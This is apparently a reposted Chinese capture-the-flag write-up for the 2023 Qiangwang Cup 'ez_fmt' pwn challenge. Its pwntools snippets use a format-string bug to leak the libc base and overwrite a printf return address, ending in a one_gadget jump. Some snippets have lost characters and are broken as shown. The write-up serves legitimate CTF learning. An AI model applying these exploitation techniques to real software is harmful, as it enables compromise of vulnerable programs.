【PWN】2023 强网杯 - ez_fmt

admin 2023年12月21日16:36:03评论69 views字数 2171阅读7分14秒阅读模式

本来想拿这次2023强网杯练个手,发现要么堆题要么沙箱,还有一些没见过的题型(看来堆的学习要提上日程了),唯一能做的就是强网先锋的ez_fmt。从这题学习到了一点新知识,写个文章记一下。

分析

题目逻辑很简单,在main函数中都写清楚了:

【PWN】2023 强网杯 - ez_fmt    
   

main

程序中没有后门,需泄露libc基地址。另外,程序的保护情况如下:

➜  ez_fmt checksec ez_fmt        
[*] '/mnt/d/CTF/practice/ez_fmt/ez_fmt'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Got表不可写,故不能通过修改got表进行跳转。

exp

这里就分为两个部分吧,刚好对应学到的两个东西。

1、leak libc

首先要leaklibc的基地址,这里有两种方法:

  • 利用栈上某个地址的值通过计算得到libc基地址
  • 泄露函数got

先介绍第一种吧。先通过gdb本地动态调试,使用vmmap查看各个部分的地址分布:

【PWN】2023 “强网杯” - ez_fmt

得到libc的基地址为0x7ffff7dd5000

再通过调试查看栈上的变量,看一下哪一个地址的值在libc加载的区间内:

【PWN】2023 “强网杯” - ez_fmt

一般来说,这个__libc_start_main+243的值都会在libc的加载区间内,具体适用性如何不详,需通过调试确定。

所以,可以通过格式化字符串漏洞来泄露这个地址(0x7fffffffde98),从而计算libc基地址,具体如下:

main_addr = 0x4011A2
payload = fmtstr_payload(6, {buf_addr - 0x8: main_addr}, write_size='int')
payload = payload[:-15] + b"%9$llna" + b"%10$saaa" + payload[-8:] + p64(buf_addr + 0x68)
p.send(payload)

libc.address = u64(p.recvuntil(b"x7f")[-6:].ljust(0x8b"x00")) - libc.sym["__libc_start_main"] - 243
log.success("{}:{:#x}".format("libc.address", libc.address))

第一次发送payload,通过fmtstr_payload工具构建payload来修改某个地址的值(这边留着第二部分说明),然后要泄露0x7fffffffde98的值,但是不能直接接在原来的payload后边,因为64位的程序会有高地址x00截断输出的问题,所以对payload进行了重新组合。

然后是第二种。我直接给payload

main_addr = 0x4011A2
printf_got = elf.got["printf"]
payload = fmtstr_payload(6, {buf_addr - 0x8: main_addr}, write_size='int')
payload = payload[:-15] + b"%9$llna" + b"%10$saaa" + payload[-8:] + p64(printf_got)
p.send(payload)

libc.address = u64(p.recvuntil(b"x7f")[-6:].ljust(0x8b"x00")) - libc.sym["printf"]
log.success("{}:{:#x}".format("libc.address", libc.address))

没什么好说的。一般来说第二种都是可行的,且比第一种方便了不止一点。(就是我当时忘记了)

2、修改call的返回地址

从程序流程上来看,正常运行只会执行触发一次格式化字符串漏洞。但是很明显,单单泄露libc基地址对于这题而言是没有什么用的,所以这边考虑在泄露基地址的同时,修改call _printf这条语句的返回地址。

【PWN】2023 “强网杯” - ez_fmt

静态分析一下。当程序执行到0x401239,即call _printf时,rsp指针此时指向buf的地址,下一步操作则会把下一条指令地址(0x040123E)压栈,压入的地址为rsp - 0x8,也就是buf - 0x8,之后跳转到printf函数的地址去执行相应的操作。

这个时候,如果利用格式化字符串漏洞将call指令的返回地址进行修改,就可以跳过更下边对w变量的重新赋值,且可以二次触发格式化字符串漏洞,即:

main_addr = 0x4011A2
payload = fmtstr_payload(6, {buf_addr - 0x8: main_addr}, write_size='int')

最终

通过第一次格式化字符串漏洞得到基地址,第二次就可以直接跳转到one_gadget的位置了。

想做个记录的原因是,以前从来没有想过修改call指令的返回地址,学到了学到了。


原文始发于微信公众号(Stack0verf1ow):【PWN】2023 “强网杯” - ez_fmt

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日16:36:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】2023 强网杯 - ez_fmthttp://cn-sec.com/archives/2324287.html

发表评论

匿名网友 填写信息